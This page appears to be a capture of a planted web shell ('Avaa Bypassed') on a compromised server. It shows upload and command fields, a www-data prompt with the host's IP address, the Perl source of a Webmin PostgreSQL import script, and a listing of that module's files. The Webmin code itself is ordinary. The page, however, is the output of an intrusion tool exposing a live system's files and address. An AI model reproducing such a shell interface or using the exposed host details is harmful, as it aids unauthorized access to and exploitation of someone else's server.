[ Avaa Bypassed ]




Upload:

Command:

www-data@3.144.108.175: ~ $
#!/usr/bin/perl
# import.cgi
# Import data from a text file

require './postgresql-lib.pl';
&ReadParseMime();
&can_edit_db($in{'db'}) || &error($text{'dbase_ecannot'});
&error_setup($text{'import_err'});

if ($in{'mode'}) {
	# From uploaded file
	$in{'upload'} || &error($text{'import_eupload'});
	$in{'upload_filename'} =~ /([^\/\\\s]+)$/ ||
		&error($text{'import_eupload'});
	$file = &transname($1);
	open(TEMP, ">$file");
	print TEMP $in{'upload'};
	close(TEMP);
	$need_unlink = 1;
	&ui_print_header(undef, $text{'import_title'}, "");
	print "$text{'import_uploadout'}<p>\n";
	}
else {
	# From local file
	-r $in{'file'} || &error($text{'import_efile'});
	$file = $in{'file'};
	&ui_print_header(undef, $text{'import_title'}, "");
	print &text('import_fileout', "<tt>$in{'file'}</tt>"),"<p>\n";
	}

if (!$in{'delete'}) {
	$data = &execute_sql($in{'db'},
		"select * from ".&quote_table($in{'table'}));
	foreach $r (@{$data->{'data'}}) {
		$done{join("/", @$r)}++;
		}
	}

# Read the file
$skip = 0;
open(FILE, "<$file");
while(<FILE>) {
	s/\r|\n//g;
	next if (!/\S/);
	local @row;
	if ($in{'format'} == 0) {
		# Quoted and comma-separated
		s/\\\"/\0/g;
		while(/^,?"([^"]*)"(.*)/) {
			$field = $1;
			$_ = $2;
			$field =~ s/\0/"/g;
			push(@row, $field);
			}
		}
	elsif ($in{'format'} == 1) {
		# Just comma-separated
		s/\\,/\0/g;
		@row = split(/,/, $_);
		foreach my $r (@row) {
			$r =~ s/\0/,/g;
			}
		}
	elsif ($in{'format'} == 2) {
		# Tab separated
		@row = split(/\t/, $_);
		}
	if (!@row) {
		print &text('import_erow', "<tt>$_</tt>"),"<p>\n";
		goto failed;
		}
	if ($in{'ignore'} && $done{join("/", @row)}++) {
		# Skip duplicate
		$skip++;
		next;
		}
	push(@rv, \@row);
	}

# Empty the table, if requested
if ($in{'delete'}) {
	&execute_sql_logged($in{'db'}, "delete from ".
				       &quote_table($in{'table'}));
	}

# Add the rows
@str = &table_structure($in{'db'}, $in{'table'});
foreach $r (@rv) {
	@sets = map { "?" } @str;
	$cmd = "insert into ".&quote_table($in{'table'})." values (".
	       join(",", @sets).")";
	&execute_sql_logged($in{'db'}, $cmd, @$r);
	}
print &text('import_done', scalar(@rv), $skip),"<p>\n";

&webmin_log("import", undef, $in{'db'}, { 'mode' => $in{'mode'},
					  'file' => $in{'file'} });

failed:
unlink($file) if ($need_unlink);

&ui_print_footer("exec_form.cgi?db=$in{'db'}&mode=import", $text{'exec_return'},
		 "edit_dbase.cgi?db=$in{'db'}", $text{'dbase_return'},
		 "", $text{'index_return'});


Filemanager

Name Type Size Permission Actions
help Folder 0755
images Folder 0755
lang Folder 0755
old Folder 0755
CHANGELOG File 5.45 KB 0644
acl_security.pl File 5.46 KB 0755
backup.cgi File 5.2 KB 0755
backup.pl File 1.95 KB 0755
backup_config.pl File 643 B 0755
backup_form.cgi File 4.74 KB 0755
cgi_args.pl File 993 B 0755
config File 501 B 0644
config-AlmaLinux-7.0-ALL File 530 B 0644
config-Amazon-Linux-2-ALL File 484 B 0644
config-CentOS-Linux-7.0-ALL File 530 B 0644
config-CentOS-Stream-Linux-8.0-ALL File 530 B 0644
config-CloudLinux-8.0-ALL File 530 B 0644
config-Oracle-Linux-8.0-ALL File 530 B 0644
config-Redhat-Enterprise-Linux-7.0-ALL File 484 B 0644
config-Rocky-Linux-7.0-ALL File 530 B 0644
config-Scientific-Linux-7.0-ALL File 484 B 0644
config-cobalt-linux File 435 B 0644
config-coherent-linux File 507 B 0644
config-debian-linux File 416 B 0644
config-debian-linux-10.0-ALL File 417 B 0644
config-debian-linux-4.0-9.0 File 425 B 0644
config-freebsd File 588 B 0644
config-freebsd-8-ALL File 580 B 0644
config-gentoo-linux File 429 B 0644
config-mandrake-linux File 435 B 0644
config-msc-linux File 441 B 0644
config-netbsd File 454 B 0644
config-openSUSE-Linux-15.0-ALL File 453 B 0644
config-openmamba-linux File 444 B 0644
config-pardus-linux File 431 B 0644
config-redhat-linux File 444 B 0644
config-redhat-linux-10.0-23.0 File 772 B 0644
config-redhat-linux-24.0-ALL File 500 B 0644
config-redhat-linux-7.0-7.2 File 493 B 0644
config-redhat-linux-7.3 File 507 B 0644
config-redhat-linux-7.4-9.0 File 507 B 0644
config-sol-linux File 462 B 0644
config-suse-linux File 448 B 0644
config-suse-linux-7.0 File 457 B 0644
config-suse-linux-7.1-9.0 File 459 B 0644
config-suse-linux-9.1-ALL File 459 B 0644
config-syno-linux File 454 B 0644
config-trustix-linux File 619 B 0644
config-united-linux File 459 B 0644
config-windows File 510 B 0644
config.info File 1.68 KB 0644
config.info.bg File 2.69 KB 0644
config.info.ca File 1.68 KB 0644
config.info.cs File 729 B 0644
config.info.de File 1.62 KB 0644
config.info.es File 559 B 0644
config.info.fr File 1.85 KB 0644
config.info.ja File 1.68 KB 0644
config.info.ko File 1.42 KB 0644
config.info.nl File 1.6 KB 0644
config.info.no File 1.56 KB 0644
config.info.pl File 521 B 0644
config.info.ru File 950 B 0644
config.info.sv File 459 B 0644
config.info.tr File 1.31 KB 0644
config.info.uk File 980 B 0644
config.info.zh File 328 B 0644
config.info.zh_TW File 426 B 0644
cpan_modules.pl File 86 B 0755
create_table.cgi File 1.18 KB 0755
csv.cgi File 2 KB 0755
csv_form.cgi File 1.68 KB 0755
defaultacl File 99 B 0644
delete_fields.cgi File 629 B 0755
delete_grants.cgi File 1.46 KB 0755
delete_groups.cgi File 548 B 0755
delete_hosts.cgi File 478 B 0755
delete_users.cgi File 442 B 0755
down.cgi File 602 B 0755
download.cgi File 1.07 KB 0755
drop_dbase.cgi File 1.19 KB 0755
drop_dbases.cgi File 1.25 KB 0755
drop_table.cgi File 1.1 KB 0755
drop_tables.cgi File 1.72 KB 0755
edit_dbase.cgi File 7.63 KB 0755
edit_field.cgi File 2.42 KB 0755
edit_grant.cgi File 2.69 KB 0755
edit_group.cgi File 1.84 KB 0755
edit_host.cgi File 4.04 KB 0755
edit_index.cgi File 2 KB 0755
edit_manual.cgi File 541 B 0755
edit_seq.cgi File 2.1 KB 0755
edit_table.cgi File 2.71 KB 0755
edit_user.cgi File 2.58 KB 0755
edit_view.cgi File 1.46 KB 0755
exec.cgi File 1.51 KB 0755
exec_file.cgi File 1.8 KB 0755
exec_form.cgi File 3.15 KB 0755
import.cgi File 2.4 KB 0755
index.cgi File 9.7 KB 0755
install_check.pl File 477 B 0755
list_grants.cgi File 3.41 KB 0755
list_groups.cgi File 1.36 KB 0755
list_hosts.cgi File 2.47 KB 0755
list_users.cgi File 1.96 KB 0755
log_parser.pl File 2.41 KB 0755
login.cgi File 829 B 0755
module.info File 191 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 146 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 224 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 257 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 243 B 0644
module.info.ca File 135 B 0644
module.info.ca.auto File 19 B 0644
module.info.cs File 0 B 0644
module.info.cs.auto File 156 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 143 B 0644
module.info.de File 131 B 0644
module.info.de.auto File 19 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 235 B 0644
module.info.es File 45 B 0644
module.info.es.auto File 121 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 161 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 222 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 156 B 0644
module.info.fr File 48 B 0644
module.info.fr.auto File 143 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 189 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 180 B 0644
module.info.hu File 41 B 0644
module.info.hu.auto File 135 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 141 B 0644
module.info.ja File 48 B 0644
module.info.ja.auto File 144 B 0644
module.info.ko File 45 B 0644
module.info.ko.auto File 141 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 186 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 158 B 0644
module.info.ms File 144 B 0644
module.info.ms.auto File 19 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 156 B 0644
module.info.nl File 35 B 0644
module.info.nl.auto File 105 B 0644
module.info.no File 34 B 0644
module.info.no.auto File 107 B 0644
module.info.pl File 39 B 0644
module.info.pl.auto File 119 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 169 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 178 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 173 B 0644
module.info.ru File 52 B 0644
module.info.ru.auto File 193 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 161 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 166 B 0644
module.info.sv File 33 B 0644
module.info.sv.auto File 109 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 295 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 168 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 228 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 252 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 205 B 0644
module.info.zh File 38 B 0644
module.info.zh.auto File 102 B 0644
module.info.zh_TW File 40 B 0644
module.info.zh_TW.auto File 108 B 0644
newdb.cgi File 1.17 KB 0755
newdb_form.cgi File 1.33 KB 0755
postgresql-lib.pl File 34.79 KB 0755
prefs.info File 69 B 0644
restore.cgi File 1.71 KB 0755
restore_form.cgi File 1.42 KB 0755
save_field.cgi File 1.05 KB 0755
save_grant.cgi File 1.65 KB 0755
save_group.cgi File 2.67 KB 0755
save_host.cgi File 3.4 KB 0755
save_index.cgi File 1.45 KB 0755
save_manual.cgi File 330 B 0755
save_seq.cgi File 2.57 KB 0755
save_sync.cgi File 335 B 0755
save_user.cgi File 1.59 KB 0755
save_view.cgi File 1.37 KB 0755
search_form.cgi File 1.38 KB 0755
setup.cgi File 292 B 0755
start.cgi File 284 B 0755
stop.cgi File 278 B 0755
table_form.cgi File 1.9 KB 0755
up.cgi File 598 B 0755
useradmin_update.pl File 2.1 KB 0755
view-lib.pl File 3.56 KB 0755
view_table.cgi File 15.06 KB 0755